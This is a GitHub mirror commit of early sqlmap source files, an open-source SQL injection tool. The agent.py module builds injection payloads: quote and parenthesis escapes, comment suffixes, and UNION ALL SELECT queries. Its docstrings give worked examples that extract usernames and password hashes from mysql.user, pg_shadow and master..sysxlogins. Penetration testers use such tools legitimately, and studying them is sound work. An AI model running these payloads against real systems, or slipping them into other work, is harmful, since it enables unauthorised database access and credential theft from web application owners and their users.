mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-09 22:21:30 +00:00
After the storm, a restore..
This commit is contained in:
25
lib/core/__init__.py
Normal file
25
lib/core/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
385
lib/core/agent.py
Normal file
385
lib/core/agent.py
Normal file
@@ -0,0 +1,385 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: agent.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
|
||||
|
||||
class Agent:
|
||||
"""
|
||||
This class defines the SQL agent methods.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
temp.delimiter = randomStr(6)
|
||||
temp.start = randomStr(6)
|
||||
temp.stop = randomStr(6)
|
||||
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
"""
|
||||
|
||||
retValue = ""
|
||||
|
||||
# After identifing the injectable parameter
|
||||
if kb.injPlace == "User-Agent":
|
||||
retValue = kb.injParameter.replace(kb.injParameter,
|
||||
kb.injParameter + newValue)
|
||||
elif kb.injParameter:
|
||||
paramString = conf.parameters[kb.injPlace]
|
||||
paramDict = conf.paramDict[kb.injPlace]
|
||||
value = paramDict[kb.injParameter]
|
||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||
"%s=%s" % (kb.injParameter, value + newValue))
|
||||
|
||||
# Before identifing the injectable parameter
|
||||
elif parameter == "User-Agent":
|
||||
retValue = value.replace(value, newValue)
|
||||
else:
|
||||
paramString = conf.parameters[place]
|
||||
retValue = paramString.replace("%s=%s" % (parameter, value),
|
||||
"%s=%s" % (parameter, newValue))
|
||||
|
||||
return retValue
|
||||
|
||||
|
||||
def prefixQuery(self, string):
|
||||
"""
|
||||
This method defines how the input string has to be escaped
|
||||
to perform the injection depending on the injection type
|
||||
identified as valid
|
||||
"""
|
||||
|
||||
query = ""
|
||||
|
||||
if kb.injType == "numeric":
|
||||
pass
|
||||
elif kb.injType in ( "stringsingle", "likesingle" ):
|
||||
query = "'"
|
||||
elif kb.injType in ( "stringdouble", "likedouble" ):
|
||||
query = "\""
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
if kb.parenthesis != None:
|
||||
query += "%s " % (")" * kb.parenthesis)
|
||||
|
||||
query += string
|
||||
|
||||
return query
|
||||
|
||||
|
||||
def postfixQuery(self, string, comment=None):
|
||||
"""
|
||||
This method appends the DBMS comment to the
|
||||
SQL injection request
|
||||
"""
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
if comment:
|
||||
string += "%s" % comment
|
||||
|
||||
if kb.parenthesis != None:
|
||||
string += " AND %s" % ("(" * kb.parenthesis)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
||||
|
||||
if kb.injType == "numeric":
|
||||
string += "%d=%d" % (randInt, randInt)
|
||||
elif kb.injType == "stringsingle":
|
||||
string += "'%s'='%s" % (randStr, randStr)
|
||||
elif kb.injType == "likesingle":
|
||||
string += "'%s' LIKE '%s" % (randStr, randStr)
|
||||
elif kb.injType == "stringdouble":
|
||||
string += "\"%s\"=\"%s" % (randStr, randStr)
|
||||
elif kb.injType == "likedouble":
|
||||
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
return string
|
||||
|
||||
|
||||
def nullAndCastField(self, field):
|
||||
"""
|
||||
Take in input a field string and return its processed nulled and
|
||||
casted field string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: VERSION()
|
||||
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
|
||||
MySQL scope: VERSION()
|
||||
|
||||
PostgreSQL input: VERSION()
|
||||
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
|
||||
PostgreSQL scope: VERSION()
|
||||
|
||||
Oracle input: banner
|
||||
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
|
||||
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
|
||||
|
||||
Microsoft SQL Server input: @@VERSION
|
||||
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
|
||||
Microsoft SQL Server scope: @@VERSION
|
||||
|
||||
@param field: field string to be processed
|
||||
@type field: C{str}
|
||||
|
||||
@return: field string nulled and casted
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
nulledCastedField = queries[kb.dbms].cast % field
|
||||
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
||||
|
||||
return nulledCastedField
|
||||
|
||||
|
||||
def nullCastConcatFields(self, fields):
|
||||
"""
|
||||
Take in input a sequence of fields string and return its processed
|
||||
nulled, casted and concatenated fields string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: user,password
|
||||
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
|
||||
MySQL scope: SELECT user, password FROM mysql.user
|
||||
|
||||
PostgreSQL input: usename,passwd
|
||||
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
|
||||
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
|
||||
|
||||
Oracle input: COLUMN_NAME,DATA_TYPE
|
||||
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
|
||||
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
|
||||
|
||||
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
|
||||
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
|
||||
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
||||
|
||||
@param fields: fields string to be processed
|
||||
@type fields: C{str}
|
||||
|
||||
@return: fields string nulled, casted and concatened
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if not kb.dbmsDetected:
|
||||
return fields
|
||||
|
||||
fields = fields.replace(", ", ",")
|
||||
fieldsSplitted = fields.split(",")
|
||||
dbmsDelimiter = queries[kb.dbms].delimiter
|
||||
nulledCastedFields = []
|
||||
|
||||
for field in fieldsSplitted:
|
||||
nulledCastedFields.append(self.nullAndCastField(field))
|
||||
|
||||
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
|
||||
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
|
||||
|
||||
return nulledCastedConcatFields
|
||||
|
||||
|
||||
def getFields(self, query):
|
||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
||||
if fieldsSelectTop:
|
||||
fieldsToCast = fieldsSelectTop.groups()[0]
|
||||
elif fieldsSelectDistinct:
|
||||
fieldsToCast = fieldsSelectDistinct.groups()[0]
|
||||
elif fieldsSelectFrom:
|
||||
fieldsToCast = fieldsSelectFrom.groups()[0]
|
||||
elif fieldsSelect:
|
||||
fieldsToCast = fieldsSelect.groups()[0]
|
||||
elif fieldsNoSelect:
|
||||
fieldsToCast = fieldsNoSelect
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
|
||||
|
||||
|
||||
def concatQuery(self, query):
|
||||
"""
|
||||
Take in input a query string and return its processed nulled,
|
||||
casted and concatenated query string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: SELECT user, password FROM mysql.user
|
||||
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
|
||||
|
||||
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
|
||||
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
|
||||
|
||||
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
||||
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
||||
|
||||
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
||||
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
|
||||
|
||||
@param query: query string to be processed
|
||||
@type query: C{str}
|
||||
|
||||
@return: query string nulled, casted and concatenated
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
concatQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCast)
|
||||
concatQuery = query.replace(fieldsToCast, castedFields, 1)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery += ",'%s')" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery += "||'%s'" % temp.stop
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
concatQuery += " FROM DUAL"
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
concatQuery += " FROM DUAL"
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery += "+'%s'" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
return concatQuery
|
||||
|
||||
|
||||
def forgeInbandQuery(self, query, exprPosition=None):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
|
||||
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
|
||||
|
||||
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
|
||||
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
|
||||
|
||||
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
|
||||
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
|
||||
|
||||
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
|
||||
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
|
||||
|
||||
@param query: it is a processed query string unescaped to be
|
||||
forged within an UNION ALL SELECT statement
|
||||
@type query: C{str}
|
||||
|
||||
@param exprPosition: it is the NULL position where it is possible
|
||||
to inject the query
|
||||
@type exprPosition: C{int}
|
||||
|
||||
@return: UNION ALL SELECT query string forged
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
||||
|
||||
if not exprPosition:
|
||||
exprPosition = kb.unionPosition
|
||||
|
||||
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
||||
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
||||
|
||||
for element in range(kb.unionCount):
|
||||
if element > 0:
|
||||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[:conditionIndex]
|
||||
else:
|
||||
inbandQuery += "%s" % query
|
||||
else:
|
||||
inbandQuery += "NULL"
|
||||
|
||||
if " FROM " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[conditionIndex:]
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += " FROM DUAL"
|
||||
|
||||
if " ORDER BY " in inbandQuery:
|
||||
orderIndex = inbandQuery.index(" ORDER BY ")
|
||||
inbandQuery = inbandQuery[:orderIndex]
|
||||
|
||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||
|
||||
return inbandQuery
|
||||
|
||||
|
||||
# SQL agent
|
||||
agent = Agent()
|
||||
549
lib/core/common.py
Normal file
549
lib/core/common.py
Normal file
@@ -0,0 +1,549 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: common.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
import urlparse
|
||||
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
def paramToDict(place, parameters=None):
|
||||
"""
|
||||
Split the parameters into names and values, check if these parameters
|
||||
are within the testable parameters and return in a dictionary.
|
||||
|
||||
@param place: where sqlmap has to work, can be GET, POST or Cookie.
|
||||
@type place: C{str}
|
||||
|
||||
@param parameters: parameters string in the format for instance
|
||||
'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie).
|
||||
@type parameters: C{str}
|
||||
|
||||
@return: the parameters in a dictionary.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
testableParameters = {}
|
||||
|
||||
if conf.parameters.has_key(place) and not parameters:
|
||||
parameters = conf.parameters[place]
|
||||
|
||||
parameters = parameters.replace(", ", ",")
|
||||
|
||||
if place == "Cookie":
|
||||
splitParams = parameters.split(";")
|
||||
else:
|
||||
splitParams = parameters.split("&")
|
||||
|
||||
for element in splitParams:
|
||||
elem = element.split("=")
|
||||
|
||||
if len(elem) == 2:
|
||||
parameter = elem[0]
|
||||
|
||||
condition = not conf.testParameter
|
||||
condition |= parameter in conf.testParameter
|
||||
|
||||
if condition:
|
||||
value = elem[1]
|
||||
if value:
|
||||
testableParameters[parameter] = value
|
||||
|
||||
if conf.testParameter and not testableParameters:
|
||||
paramStr = ", ".join(test for test in conf.testParameter)
|
||||
|
||||
if len(conf.testParameter) > 1:
|
||||
warnMsg = "the testable parameters '%s' " % paramStr
|
||||
warnMsg += "you provided are not into the %s" % place
|
||||
else:
|
||||
parameter = conf.testParameter[0]
|
||||
|
||||
warnMsg = "the testable parameter '%s' " % paramStr
|
||||
warnMsg += "you provided is not into the %s" % place
|
||||
|
||||
if conf.googleDork:
|
||||
warnMsg += ", skipping to next url"
|
||||
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif len(conf.testParameter) != len(testableParameters.keys()):
|
||||
for parameter in conf.testParameter:
|
||||
if not testableParameters.has_key(parameter):
|
||||
warnMsg = "the testable parameter '%s' " % parameter
|
||||
warnMsg += "you provided is not into the %s" % place
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return testableParameters
|
||||
|
||||
|
||||
def formatFingerprint(versions=None):
|
||||
"""
|
||||
This function format the back-end DBMS fingerprint value and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
@return: detected back-end DBMS based upon fingerprint techniques.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if not versions:
|
||||
versions = kb.dbmsVersion
|
||||
|
||||
if isinstance(versions, str):
|
||||
return "%s %s" % (kb.dbms, versions)
|
||||
elif isinstance(versions, (list, set, tuple)):
|
||||
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
|
||||
|
||||
|
||||
def getHtmlErrorFp():
|
||||
"""
|
||||
This function parses the knowledge base htmlFp list and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
@return: list of possible back-end DBMS based upon error messages
|
||||
parsing.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
htmlParsed = ""
|
||||
|
||||
if not kb.htmlFp:
|
||||
return None
|
||||
|
||||
if len(kb.htmlFp) == 1:
|
||||
htmlVer = kb.htmlFp[0]
|
||||
htmlParsed = htmlVer
|
||||
elif len(kb.htmlFp) > 1:
|
||||
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||
|
||||
return htmlParsed
|
||||
|
||||
|
||||
def getDocRoot():
|
||||
"""
|
||||
This method returns the web application document root based on the
|
||||
detected absolute files paths in the knowledge base.
|
||||
"""
|
||||
|
||||
docRoot = None
|
||||
|
||||
if kb.absFilePaths:
|
||||
logMsg = "retrieved the possible injectable "
|
||||
logMsg += "file absolute system paths: "
|
||||
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the injectable file "
|
||||
warnMsg += "absolute system path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
for absFilePath in kb.absFilePaths:
|
||||
if conf.path in absFilePath:
|
||||
index = absFilePath.index(conf.path)
|
||||
docRoot = absFilePath[:index]
|
||||
break
|
||||
|
||||
if docRoot:
|
||||
logMsg = "retrieved the remote web server "
|
||||
logMsg += "document root: '%s'" % docRoot
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the remote web server "
|
||||
warnMsg += "document root"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return docRoot
|
||||
|
||||
|
||||
def getDirectories():
|
||||
"""
|
||||
This method calls a function that returns the web application document
|
||||
root and injectable file absolute system path.
|
||||
|
||||
@return: a set of paths (document root and absolute system path).
|
||||
@rtype: C{set}
|
||||
@todo: replace this function with a site crawling functionality.
|
||||
"""
|
||||
|
||||
directories = set()
|
||||
|
||||
kb.docRoot = getDocRoot()
|
||||
|
||||
if kb.docRoot:
|
||||
directories.add(kb.docRoot)
|
||||
|
||||
pagePath = re.search('^/(.*)/', conf.path)
|
||||
|
||||
if kb.docRoot and pagePath:
|
||||
pagePath = pagePath.groups()[0]
|
||||
|
||||
directories.add("%s/%s" % (kb.docRoot, pagePath))
|
||||
|
||||
return directories
|
||||
|
||||
|
||||
def filePathToString(filePath):
|
||||
string = filePath.replace("/", "_").replace("\\", "_")
|
||||
string = string.replace(" ", "_").replace(":", "_")
|
||||
|
||||
return string
|
||||
|
||||
|
||||
def dataToStdout(data):
|
||||
sys.stdout.write(data)
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def dataToSessionFile(data):
|
||||
conf.sessionFP.write(data)
|
||||
conf.sessionFP.flush()
|
||||
|
||||
|
||||
def dataToDumpFile(dumpFile, data):
|
||||
dumpFile.write(data)
|
||||
dumpFile.flush()
|
||||
|
||||
|
||||
def strToHex(string):
|
||||
"""
|
||||
@param string: string to be converted into its hexadecimal value.
|
||||
@type string: C{str}
|
||||
|
||||
@return: the hexadecimal converted string.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
hexStr = ""
|
||||
|
||||
for character in string:
|
||||
if character == "\n":
|
||||
character = " "
|
||||
|
||||
hexChar = "%2x" % ord(character)
|
||||
hexChar = hexChar.replace(" ", "0")
|
||||
hexChar = hexChar.upper()
|
||||
|
||||
hexStr += hexChar
|
||||
|
||||
return hexStr
|
||||
|
||||
|
||||
def fileToStr(fileName):
|
||||
"""
|
||||
@param fileName: file path to read the content and return as a no
|
||||
NEWLINE string.
|
||||
@type fileName: C{file.open}
|
||||
|
||||
@return: the file content as a string without TAB and NEWLINE.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
filePointer = open(fileName, "r")
|
||||
fileText = filePointer.read()
|
||||
|
||||
fileText = fileText.replace(" ", "")
|
||||
fileText = fileText.replace("\t", "")
|
||||
fileText = fileText.replace("\r", "")
|
||||
fileText = fileText.replace("\n", " ")
|
||||
|
||||
return fileText
|
||||
|
||||
|
||||
def fileToHex(fileName):
|
||||
"""
|
||||
@param fileName: file path to read the content and return as an
|
||||
hexadecimal string.
|
||||
@type fileName: C{file.open}
|
||||
|
||||
@return: the file content as an hexadecimal string.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
fileText = fileToStr(fileName)
|
||||
hexFile = strToHex(fileText)
|
||||
|
||||
return hexFile
|
||||
|
||||
|
||||
def readInput(message, default=None):
|
||||
"""
|
||||
@param message: message to display on terminal.
|
||||
@type message: C{str}
|
||||
|
||||
@return: a string read from keyboard as input.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if conf.batch and default:
|
||||
infoMsg = "%s%s" % (message, str(default))
|
||||
logger.info(infoMsg)
|
||||
|
||||
debugMsg = "used the default behaviour, running in batch mode"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
data = default
|
||||
else:
|
||||
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def randomRange(start=0, stop=1000):
|
||||
"""
|
||||
@param start: starting number.
|
||||
@type start: C{int}
|
||||
|
||||
@param stop: last number.
|
||||
@type stop: C{int}
|
||||
|
||||
@return: a random number within the range.
|
||||
@rtype: C{int}
|
||||
"""
|
||||
|
||||
return int(random.randint(start, stop))
|
||||
|
||||
